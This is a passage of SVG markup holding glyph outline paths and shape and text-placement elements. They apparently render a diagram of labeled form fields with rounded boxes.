3.296875 -3.1875 L 3.671875 -1.4375 L 3.765625 -1.4375 L 4.03125 -3.1875 L 5.40625 -9 L 6.71875 -9 L 4.578125 -0.921875 C 4.398438 -0.273438 4.226562 0.328125 4.0625 0.890625 C 3.894531 1.460938 3.710938 1.953125 3.515625 2.359375 C 3.316406 2.773438 3.09375 3.097656 2.84375 3.328125 C 2.601562 3.566406 2.316406 3.6875 1.984375 3.6875 C 1.640625 3.6875 1.34375 3.632812 1.09375 3.53125 L 1.3125 2.296875 C 1.476562 2.359375 1.644531 2.367188 1.8125 2.328125 C 1.976562 2.296875 2.132812 2.195312 2.28125 2.03125 C 2.4375 1.863281 2.578125 1.613281 2.703125 1.28125 C 2.828125 0.957031 2.941406 0.53125 3.046875 0 L 0.125 -9 L 1.609375 -9 Z M 3.296875 -3.1875"/></symbol><symbol overflow="visible" id="F"><path d="M 6 -3.53125 L 2.4375 -3.53125 L 1.421875 0 L 0.09375 0 L 3.890625 -12.796875 L 4.625 -12.796875 L 8.421875 0 L 7.015625 0 Z M 2.796875 -4.734375 L 5.671875 -4.734375 L 4.578125 -8.625 L 4.234375 -10.515625 L 4.1875 -10.515625 L 3.859375 -8.59375 Z M 2.796875 -4.734375"/></symbol><symbol overflow="visible" id="G"><path d="M 2.234375 -9 L 2.234375 -3.484375 C 2.234375 -2.578125 2.328125 -1.925781 2.515625 -1.53125 C 2.703125 -1.144531 3.039062 -0.953125 3.53125 -0.953125 C 3.78125 -0.953125 4.003906 -1.003906 4.203125 -1.109375 C 4.398438 -1.210938 4.578125 -1.347656 4.734375 -1.515625 C 4.890625 -1.679688 5.023438 -1.867188 5.140625 -2.078125 C 5.265625 -2.296875 5.363281 -2.519531 5.4375 -2.75 L 5.4375 -9 L 6.734375 -9 L 6.734375 -2.5625 C 6.734375 -2.125 6.75 -1.671875 6.78125 -1.203125 C 6.8125 -0.742188 6.851562 -0.34375 6.90625 0 L 6 0 L 5.671875 -1.265625 L 5.609375 -1.265625 C 5.410156 -0.867188 5.117188 -0.519531 4.734375 -0.21875 C 4.347656 0.0703125 3.867188 0.21875 3.296875 0.21875 C 2.910156 0.21875 2.570312 0.164062 2.28125 0.0625 C 2 -0.03125 1.753906 -0.203125 1.546875 -0.453125 C 1.335938 -0.703125 1.179688 -1.046875 1.078125 -1.484375 C 0.984375 -1.921875 0.9375 -2.484375 0.9375 -3.171875 L 0.9375 -9 Z M 2.234375 -9"/></symbol><symbol overflow="visible" id="H"><path d="M 1.28125 -9 L 2.578125 -9 L 2.578125 0 L 1.28125 0 Z M 1.046875 -11.734375 C 1.046875 -12.023438 1.125 -12.257812 1.28125 -12.4375 C 1.445312 -12.613281 1.660156 -12.703125 1.921875 -12.703125 C 2.191406 -12.703125 2.410156 -12.613281 2.578125 -12.4375 C 2.753906 -12.269531 2.84375 -12.035156 2.84375 -11.734375 C 2.84375 -11.441406 2.753906 -11.210938 2.578125 -11.046875 C 2.410156 -10.890625 2.191406 -10.8125 1.921875 -10.8125 C 1.660156 -10.8125 1.445312 -10.894531 1.28125 -11.0625 C 1.125 -11.238281 1.046875 -11.460938 1.046875 -11.734375 Z M 1.046875 -11.734375"/></symbol><symbol overflow="visible" id="I"><path d="M 2.453125 -2.140625 C 2.453125 -1.722656 2.507812 -1.421875 2.625 -1.234375 C 2.738281 -1.054688 2.894531 -0.96875 3.09375 -0.96875 C 3.34375 -0.96875 3.640625 -1.035156 3.984375 -1.171875 L 4.109375 -0.125 C 3.953125 -0.03125 3.734375 0.046875 3.453125 0.109375 C 3.171875 0.171875 2.914062 0.203125 2.6875 0.203125 C 2.226562 0.203125 1.859375 0.0625 1.578125 -0.21875 C 1.296875 -0.5 1.15625 -0.992188 1.15625 -1.703125 L 1.15625 -12.59375 L 2.453125 -12.59375 Z M 2.453125 -2.140625"/></symbol><symbol overflow="visible" id="J"><path d="M 6.734375 0.40625 C 6.734375 1.570312 6.472656 2.429688 5.953125 2.984375 C 5.441406 3.535156 4.691406 3.8125 3.703125 3.8125 C 3.109375 3.8125 2.617188 3.757812 2.234375 3.65625 C 1.847656 3.5625 1.535156 3.445312 1.296875 3.3125 L 1.671875 2.203125 C 1.910156 2.304688 2.171875 2.40625 2.453125 2.5 C 2.742188 2.59375 3.101562 2.640625 3.53125 2.640625 C 4.257812 2.640625 4.757812 2.4375 5.03125 2.03125 C 5.300781 1.625 5.4375 0.941406 5.4375 -0.015625 L 5.4375 -0.6875 L 5.375 -0.6875 C 5.1875 -0.40625 4.941406 -0.1875 4.640625 -0.03125 C 4.335938 0.125 3.953125 0.203125 3.484375 0.203125 C 2.515625 0.203125 1.800781 -0.171875 1.34375 -0.921875 C 0.894531 -1.671875 0.671875 -2.851562 0.671875 -4.46875 C 0.671875 -6.007812 0.96875 -7.175781 1.5625 -7.96875 C 2.15625 -8.757812 3.03125 -9.15625 4.1875 -9.15625 C 4.757812 -9.15625 5.25 -9.101562 5.65625 -9 C 6.0625 -8.894531 6.421875 -8.769531 6.734375 -8.625 Z M 5.4375 -7.703125 C 5.070312 -7.890625 4.609375 -7.984375 4.046875 -7.984375 C 3.429688 -7.984375 2.9375 -7.703125 2.5625 -7.140625 C 2.195312 -6.585938 2.015625 -5.703125 2.015625 -4.484375 C 2.015625 -3.972656 2.046875 -3.503906 2.109375 -3.078125 C 2.171875 -2.660156 2.269531 -2.289062 2.40625 -1.96875 C 2.550781 -1.65625 2.734375 -1.410156 2.953125 -1.234375 C 3.179688 -1.054688 3.457031 -0.96875 3.78125 -0.96875 C 4.238281 -0.96875 4.597656 -1.085938 4.859375 -1.328125 C 5.117188 -1.566406 5.3125 -1.925781 5.4375 -2.40625 Z M 5.4375 -7.703125"/></symbol><symbol overflow="visible" id="K"><path d="M 5.40625 -11.5 C 5.269531 -11.519531 5.070312 -11.546875 4.8125 -11.578125 C 4.550781 -11.617188 4.296875 -11.640625 4.046875 -11.640625 C 3.734375 -11.640625 3.488281 -11.578125 3.3125 -11.453125 C 3.132812 -11.335938 2.992188 -11.171875 2.890625 -10.953125 C 2.796875 -10.734375 2.738281 -10.457031 2.71875 -10.125 C 2.695312 -9.789062 2.6875 -9.414062 2.6875 -9 L 4.109375 -9 L 4.109375 -7.828125 L 2.6875 -7.828125 L 2.6875 0 L 1.390625 0 L 1.390625 -7.828125 L 0.28125 -7.828125 L 0.28125 -9 L 1.390625 -9 L 1.390625 -9.5 C 1.390625 -10.632812 1.585938 -11.46875 1.984375 -12 C 2.390625 -12.539062 3.066406 -12.8125 4.015625 -12.8125 C 4.203125 -12.8125 4.425781 -12.800781 4.6875 -12.78125 C 4.945312 -12.769531 5.203125 -12.75 5.453125 -12.71875 C 5.703125 -12.6875 5.9375 -12.648438 6.15625 -12.609375 C 6.382812 -12.578125 6.566406 -12.535156 6.703125 -12.484375 L 6.703125 -2.046875 C 6.703125 -1.648438 6.753906 -1.367188 6.859375 -1.203125 C 6.972656 -1.035156 7.132812 -0.953125 7.34375 -0.953125 C 7.601562 -0.953125 7.90625 -1.019531 8.25 -1.15625 L 8.328125 -0.109375 C 8.171875 -0.015625 7.957031 0.0625 7.6875 0.125 C 7.425781 0.1875 7.164062 0.21875 6.90625 0.21875 C 6.457031 0.21875 6.09375 0.078125 5.8125 -0.203125 C 5.539062 -0.492188 5.40625 -0.988281 5.40625 -1.6875 Z M 5.40625 -11.5"/></symbol><symbol overflow="visible" id="U"><path d="M 0 2.515625 L 6.015625 2.515625 L 6.015625 3.6875 L 0 3.6875 Z M 0 2.515625"/></symbol><symbol overflow="visible" id="V"><path d="M 5.875 -9 L 7.46875 -3.75 L 7.796875 -2.015625 L 7.828125 -2.015625 L 8.09375 -3.78125 L 9.328125 -9 L 10.546875 -9 L 8.15625 0.203125 L 7.421875 0.203125 L 5.59375 -5.703125 L 5.34375 -7.21875 L 5.3125 -7.21875 L 5.0625 -5.6875 L 3.296875 0.203125 L 2.5625 0.203125 L 0.09375 -9 L 1.46875 -9 L 2.859375 -3.765625 L 3.078125 -2.015625 L 3.109375 -2.015625 L 3.4375 -3.796875 L 4.90625 -9 Z M 5.875 -9"/></symbol><symbol overflow="visible" id="W"><path d="M 7.21875 0 L 1.15625 0 L 1.15625 -12.59375 L 2.5 -12.59375 L 2.5 -1.234375 L 7.21875 -1.234375 Z M 7.21875 0"/></symbol><symbol overflow="visible" id="X"><path d="M 1.6875 -1.203125 L 3.71875 -1.203125 L 3.71875 -9.96875 L 3.890625 -11.03125 L 3.28125 -10.171875 L 1.765625 -8.953125 L 1.078125 -9.75 L 4.359375 -12.8125 L 5.015625 -12.8125 L 5.015625 -1.203125 L 6.984375 -1.203125 L 6.984375 0 L 1.6875 0 Z M 1.6875 -1.203125"/></symbol><symbol overflow="visible" id="Y"><path d="M 5.671875 0 L 5.671875 -5.46875 C 5.671875 -6.3125 5.570312 -6.953125 5.375 -7.390625 C 5.175781 -7.828125 4.78125 -8.046875 4.1875 -8.046875 C 3.769531 -8.046875 3.390625 -7.894531 3.046875 -7.59375 C 2.703125 -7.289062 2.472656 -6.914062 2.359375 -6.46875 L 2.359375 0 L 1.0625 0 L 1.0625 -12.59375 L 2.359375 -12.59375 L 2.359375 -8.15625 L 2.40625 -8.15625 C 2.644531 -8.46875 2.941406 -8.722656 3.296875 -8.921875 C 3.648438 -9.117188 4.09375 -9.21875 4.625 -9.21875 C 5.019531 -9.21875 5.363281 -9.160156 5.65625 -9.046875 C 5.957031 -8.941406 6.203125 -8.753906 6.390625 -8.484375 C 6.578125 -8.222656 6.71875 -7.875 6.8125 -7.4375 C 6.914062 -7 6.96875 -6.457031 6.96875 -5.8125 L 6.96875 0 Z M 5.671875 0"/></symbol><symbol overflow="visible" id="Z"><path d="M 0.578125 -1.171875 L 3.921875 -7.0625 L 4.546875 -7.828125 L 0.578125 -7.828125 L 0.578125 -9 L 5.828125 -9 L 5.828125 -7.828125 L 2.46875 -1.890625 L 1.859375 -1.171875 L 5.828125 -1.171875 L 5.828125 0 L 0.578125 0 Z M 0.578125 -1.171875"/></symbol><symbol overflow="visible" id="aa"><path d="M 7.734375 -0.484375 C 7.441406 -0.234375 7.066406 -0.0546875 6.609375 0.046875 C 6.148438 0.160156 5.671875 0.21875 5.171875 0.21875 C 4.535156 0.21875 3.945312 0.0976562 3.40625 -0.140625 C 2.863281 -0.378906 2.394531 -0.757812 2 -1.28125 C 1.613281 -1.800781 1.3125 -2.472656 1.09375 -3.296875 C 0.882812 -4.128906 0.78125 -5.128906 0.78125 -6.296875 C 0.78125 -7.492188 0.898438 -8.503906 1.140625 -9.328125 C 1.390625 -10.160156 1.71875 -10.832031 2.125 -11.34375 C 2.53125 -11.863281 3 -12.238281 3.53125 -12.46875 C 4.070312 -12.695312 4.625 -12.8125 5.1875 -12.8125 C 5.757812 -12.8125 6.234375 -12.769531 6.609375 -12.6875 C 6.992188 -12.601562 7.320312 -12.503906 7.59375 -12.390625 L 7.265625 -11.15625 C 7.023438 -11.289062 6.742188 -11.394531 6.421875 -11.46875 C 6.097656 -11.539062 5.726562 -11.578125 5.3125 -11.578125 C 4.894531 -11.578125 4.5 -11.484375 4.125 -11.296875 C 3.75 -11.109375 3.414062 -10.804688 3.125 -10.390625 C 2.84375 -9.984375 2.617188 -9.441406 2.453125 -8.765625 C 2.285156 -8.097656 2.203125 -7.273438 2.203125 -6.296875 C 2.203125 -4.546875 2.5 -3.226562 3.09375 -2.34375 C 3.695312 -1.46875 4.492188 -1.03125 5.484375 -1.03125 C 5.898438 -1.03125 6.269531 -1.085938 6.59375 -1.203125 C 6.914062 -1.316406 7.191406 -1.453125 7.421875 -1.609375 Z M 7.734375 -0.484375"/></symbol></defs><path fill="#fff" d="M0 0H722V514H0z"/><path d="M 24.2362 40.852794 L 60.101239 40.852794 L 60.101239 66.190294 L 24.2362 66.190294 Z M 24.2362 40.852794" transform="matrix(20 0 0 20 -483.724 -810.384)" fill-rule="evenodd" fill="#fff" stroke-width=".1" stroke="#fff" stroke-miterlimit="10"/><path d="M 26.643622 44.584239 L 57.100262 44.584239" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 26.643622 62.446153 L 57.100262 62.446153" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 26.643622 44.584239 L 26.643622 44.584239 C 26.477997 44.584239 26.343622 44.718419 26.343622 44.884239" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 57.400262 44.884239 L 57.400262 44.884239 C 57.400262 44.718419 57.266083 44.584239 57.100262 44.584239" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 26.343622 44.884239 L 26.343622 62.146153" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 57.400262 44.884239 L 57.400262 62.146153" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 26.343622 62.146153 L 26.343622 62.146153 C 26.343622 62.311778 26.477997 62.446153 26.643622 62.446153" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 57.100262 62.446153 L 57.100262 62.446153 C 57.266083 62.446153 57.400262 62.311778 57.400262 62.146153" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 81.667969 125.710938 L 176.96875 125.710938 L 176.96875 151.960938 L 81.667969 151.960938 Z M 81.667969 125.710938" fill-rule="evenodd" fill="#fff"/><use xlink:href="#a" x="83.082" y="146.359"/><use xlink:href="#b" x="93.102" y="146.359"/><use xlink:href="#b" x="102.008" y="146.359"/><use xlink:href="#c" x="110.914" y="146.359"/><use xlink:href="#d" x="116.773" y="146.359"/><use xlink:href="#e" x="125.328" y="146.359"/><use xlink:href="#f" x="132.32" y="146.359"/><use xlink:href="#g" x="136.422" y="146.359"/><use xlink:href="#h" x="141.285" y="146.359"/><use xlink:href="#i" x="145.777" y="146.359"/><use xlink:href="#d" x="154.762" y="146.359"/><use xlink:href="#f" x="163.316" y="146.359"/><use xlink:href="#j" x="167.418" y="146.359"/><path d="M 197.3125 118.835938 L 605.3125 118.835938 L 605.3125 158.835938 L 197.3125 158.835938 Z M 197.3125 118.835938" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.3125 124.835938 L 197.3125 118.835938 C 194 118.835938 191.3125 121.519531 191.3125 124.835938 Z M 197.3125 124.835938" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 605.3125 124.835938 L 611.3125 124.835938 C 611.3125 121.519531 608.625 118.835938 605.3125 118.835938 Z M 605.3125 124.835938" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 191.3125 124.835938 L 611.3125 124.835938 L 611.3125 152.835938 L 191.3125 152.835938 Z M 191.3125 124.835938" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.3125 152.835938 L 191.3125 152.835938 C 191.3125 156.148438 194 158.835938 197.3125 158.835938 Z M 197.3125 152.835938" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 605.3125 152.835938 L 605.3125 158.835938 C 608.625 158.835938 611.3125 156.148438 611.3125 152.835938 Z M 605.3125 152.835938" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 34.051825 46.460997 L 54.451825 46.460997" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.051825 48.460997 L 54.451825 48.460997" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.051825 46.460997 L 34.051825 46.460997 C 33.8862 46.460997 33.751825 46.595177 33.751825 46.760997" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.751825 46.760997 L 54.751825 46.760997 C 54.751825 46.595177 54.61745 46.460997 54.451825 46.460997" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.751825 46.760997 L 33.751825 48.160997" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.751825 46.760997 L 54.751825 48.160997" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.751825 48.160997 L 33.751825 48.160997 C 33.751825 48.326622 33.8862 48.460997 34.051825 48.460997" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.451825 48.460997 L 54.451825 48.460997 C 54.61745 48.460997 54.751825 48.326622 54.751825 48.160997" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 191.3125 161.433594 L 432.511719 161.433594 L 432.511719 184.832031 L 191.3125 184.832031 Z M 191.3125 161.433594" fill-rule="evenodd" fill="#fff"/><g fill="#4d4d4d"><use xlink:href="#k" x="191.313" y="179.836"/><use xlink:href="#l" x="199.008" y="179.836"/><use xlink:href="#m" x="203.949" y="179.836"/><use xlink:href="#n" x="208.891" y="179.836"/><use xlink:href="#n" x="216.215" y="179.836"/><use xlink:href="#l" x="223.656" y="179.836"/><use xlink:href="#o" x="228.598" y="179.836"/><use xlink:href="#p" x="232.406" y="179.836"/><use xlink:href="#q" x="239.613" y="179.836"/><use xlink:href="#q" x="247.406" y="179.836"/><use xlink:href="#m" x="255.199" y="179.836"/><use xlink:href="#n" x="260.141" y="179.836"/><use xlink:href="#r" x="267.582" y="179.836"/><use xlink:href="#r" x="273.656" y="179.836"/><use xlink:href="#s" x="279.73" y="179.836"/><use xlink:href="#o" x="281.898" y="179.836"/><use xlink:href="#t" x="285.707" y="179.836"/><use xlink:href="#u" x="291.957" y="179.836"/><use xlink:href="#v" x="295.16" y="179.836"/><use xlink:href="#u" x="304.633" y="179.836"/><use xlink:href="#o" x="306.664" y="179.836"/><use xlink:href="#w" x="310.473" y="179.836"/><use xlink:href="#x" x="318.285" y="179.836"/><use xlink:href="#y" x="325.746" y="179.836"/><use xlink:href="#s" x="333.168" y="179.836"/><use xlink:href="#o" x="335.336" y="179.836"/><use xlink:href="#z" x="339.145" y="179.836"/><use xlink:href="#x" x="345.258" y="179.836"/><use xlink:href="#A" x="353.031" y="179.836"/><use xlink:href="#B" x="364.75" y="179.836"/><use xlink:href="#p" x="372.582" y="179.836"/><use xlink:href="#C" x="379.789" y="179.836"/><use xlink:href="#D" x="387.699" y="179.836"/><use xlink:href="#o" x="393.988" y="179.836"/><use xlink:href="#C" x="397.797" y="179.836"/><use xlink:href="#p" x="405.707" y="179.836"/><use xlink:href="#A" x="412.914" y="179.836"/><use xlink:href="#n" x="424.633" y="179.836"/></g><path d="M 48.157489 51.129552 L 44.694989 51.12545" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#000" stroke-miterlimit="10"/><path d="M 44.694989 51.12545 C 44.695184 51.00045 44.82038 50.875645 44.94538 50.875645 C 45.07038 50.875841 45.195184 51.001036 45.194989 51.126036 C 45.194794 51.251036 45.069794 51.375841 44.944794 51.375645 C 44.819794 51.375645 44.694794 51.25045 44.694989 51.12545" transform="matrix(20 0 0 20 -483.724 -810.384)" fill-rule="evenodd" stroke-width=".1" stroke="#000" stroke-miterlimit="10"/><path d="M 81.667969 207.042969 L 176.96875 207.042969 L 176.96875 233.292969 L 81.667969 233.292969 Z M 81.667969 207.042969" fill-rule="evenodd" fill="#fff"/><use xlink:href="#a" x="83.082" y="227.695"/><use xlink:href="#b" x="93.102" y="227.695"/><use xlink:href="#b" x="102.008" y="227.695"/><use xlink:href="#c" x="110.914" y="227.695"/><use xlink:href="#d" x="116.773" y="227.695"/><use xlink:href="#e" x="125.328" y="227.695"/><use xlink:href="#f" x="132.32" y="227.695"/><use xlink:href="#g" x="136.422" y="227.695"/><use xlink:href="#h" x="141.285" y="227.695"/><use xlink:href="#i" x="145.777" y="227.695"/><use xlink:href="#d" x="154.762" y="227.695"/><use xlink:href="#f" x="163.316" y="227.695"/><use xlink:href="#E" x="167.418" y="227.695"/><path d="M 197.3125 200.167969 L 605.3125 200.167969 L 605.3125 240.167969 L 197.3125 240.167969 Z M 197.3125 200.167969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.3125 206.167969 L 197.3125 200.167969 C 194 200.167969 191.3125 202.855469 191.3125 206.167969 Z M 197.3125 206.167969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 605.3125 206.167969 L 611.3125 206.167969 C 611.3125 202.855469 608.625 200.167969 605.3125 200.167969 Z M 605.3125 206.167969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 191.3125 206.167969 L 611.3125 206.167969 L 611.3125 234.167969 L 191.3125 234.167969 Z M 191.3125 206.167969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.3125 234.167969 L 191.3125 234.167969 C 191.3125 237.480469 194 240.167969 197.3125 240.167969 Z M 197.3125 234.167969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 605.3125 234.167969 L 605.3125 240.167969 C 608.625 240.167969 611.3125 237.480469 611.3125 234.167969 Z M 605.3125 234.167969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 34.051825 50.527598 L 54.451825 50.527598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.051825 52.527598 L 54.451825 52.527598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.051825 50.527598 L 34.051825 50.527598 C 33.8862 50.527598 33.751825 50.661973 33.751825 50.827598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.751825 50.827598 L 54.751825 50.827598 C 54.751825 50.661973 54.61745 50.527598 54.451825 50.527598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.751825 50.827598 L 33.751825 52.227598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.751825 50.827598 L 54.751825 52.227598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.751825 52.227598 L 33.751825 52.227598 C 33.751825 52.393223 33.8862 52.527598 34.051825 52.527598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.451825 52.527598 L 54.451825 52.527598 C 54.61745 52.527598 54.751825 52.393223 54.751825 52.227598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 190.8125 242.433594 L 415.710938 242.433594 L 415.710938 265.832031 L 190.8125 265.832031 Z M 190.8125 242.433594" fill-rule="evenodd" fill="#fff"/><g fill="#4d4d4d"><use xlink:href="#F" x="190.813" y="260.836"/><use xlink:href="#B" x="199.328" y="260.836"/><use xlink:href="#p" x="207.16" y="260.836"/><use xlink:href="#m" x="214.367" y="260.836"/><use xlink:href="#l" x="219.738" y="260.836"/><use xlink:href="#A" x="224.68" y="260.836"/><use xlink:href="#n" x="236.398" y="260.836"/><use xlink:href="#C" x="243.84" y="260.836"/><use xlink:href="#l" x="251.75" y="260.836"/><use xlink:href="#s" x="256.691" y="260.836"/><use xlink:href="#o" x="258.859" y="260.836"/><use xlink:href="#r" x="262.668" y="260.836"/><use xlink:href="#G" x="268.742" y="260.836"/><use xlink:href="#H" x="276.555" y="260.836"/><use xlink:href="#l" x="280.461" y="260.836"/><use xlink:href="#n" x="285.285" y="260.836"/><use xlink:href="#s" x="292.727" y="260.836"/><use xlink:href="#o" x="294.895" y="260.836"/><use xlink:href="#G" x="298.703" y="260.836"/><use xlink:href="#C" x="306.516" y="260.836"/><use xlink:href="#H" x="314.426" y="260.836"/><use xlink:href="#l" x="318.332" y="260.836"/><use xlink:href="#s" x="323.273" y="260.836"/><use xlink:href="#o" x="325.441" y="260.836"/><use xlink:href="#w" x="329.25" y="260.836"/><use xlink:href="#G" x="337.063" y="260.836"/><use xlink:href="#H" x="344.875" y="260.836"/><use xlink:href="#I" x="348.781" y="260.836"/><use xlink:href="#q" x="352.98" y="260.836"/><use xlink:href="#H" x="360.773" y="260.836"/><use xlink:href="#C" x="364.68" y="260.836"/><use xlink:href="#J" x="372.59" y="260.836"/><use xlink:href="#s" x="380.363" y="260.836"/><use xlink:href="#o" x="382.531" y="260.836"/><use xlink:href="#K" x="386.34" y="260.836"/><use xlink:href="#x" x="394.777" y="260.836"/><use xlink:href="#x" x="402.551" y="260.836"/><use xlink:href="#m" x="410.324" y="260.836"/></g><path d="M 148.910156 290.542969 L 176.308594 290.542969 L 176.308594 316.792969 L 148.910156 316.792969 Z M 148.910156 290.542969" fill-rule="evenodd" fill="#fff"/><use xlink:href="#L" x="149.242" y="311.195"/><use xlink:href="#h" x="158.383" y="311.195"/><use xlink:href="#M" x="162.875" y="311.195"/><use xlink:href="#N" x="168.305" y="311.195"/><path d="M 197.3125 283.667969 L 385.3125 283.667969 L 385.3125 323.667969 L 197.3125 323.667969 Z M 197.3125 283.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.3125 289.667969 L 197.3125 283.667969 C 194 283.667969 191.3125 286.355469 191.3125 289.667969 Z M 197.3125 289.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 385.3125 289.667969 L 391.3125 289.667969 C 391.3125 286.355469 388.625 283.667969 385.3125 283.667969 Z M 385.3125 289.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 191.3125 289.667969 L 391.3125 289.667969 L 391.3125 317.667969 L 191.3125 317.667969 Z M 191.3125 289.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.3125 317.667969 L 191.3125 317.667969 C 191.3125 320.980469 194 323.667969 197.3125 323.667969 Z M 197.3125 317.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 385.3125 317.667969 L 385.3125 323.667969 C 388.625 323.667969 391.3125 320.980469 391.3125 317.667969 Z M 385.3125 317.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 34.051825 54.702598 L 43.451825 54.702598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.051825 56.702598 L 43.451825 56.702598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.051825 54.702598 L 34.051825 54.702598 C 33.8862 54.702598 33.751825 54.836973 33.751825 55.002598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 43.751825 55.002598 L 43.751825 55.002598 C 43.751825 54.836973 43.61745 54.702598 43.451825 54.702598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.751825 55.002598 L 33.751825 56.402598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 43.751825 55.002598 L 43.751825 56.402598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.751825 56.402598 L 33.751825 56.402598 C 33.751825 56.568223 33.8862 56.702598 34.051825 56.702598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 43.451825 56.702598 L 43.451825 56.702598 C 43.61745 56.702598 43.751825 56.568223 43.751825 56.402598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 113.960938 361.773438 L 176.3125 361.773438 L 176.3125 388.023438 L 113.960938 388.023438 Z M 113.960938 361.773438" fill-rule="evenodd" fill="#fff"/><use xlink:href="#O" x="114.887" y="382.422"/><use xlink:href="#P" x="123.793" y="382.422"/><use xlink:href="#Q" x="128.559" y="382.422"/><use xlink:href="#f" x="137.465" y="382.422"/><use xlink:href="#L" x="141.352" y="382.422"/><use xlink:href="#R" x="149.945" y="382.422"/><use xlink:href="#b" x="158.852" y="382.422"/><use xlink:href="#d" x="167.758" y="382.422"/><path d="M 197.3125 354.898438 L 305.3125 354.898438 L 305.3125 394.898438 L 197.3125 394.898438 Z M 197.3125 354.898438" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.3125 360.898438 L 197.3125 354.898438 C 194 354.898438 191.3125 357.585938 191.3125 360.898438 Z M 197.3125 360.898438" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 305.3125 360.898438 L 311.3125 360.898438 C 311.3125 357.585938 308.625 354.898438 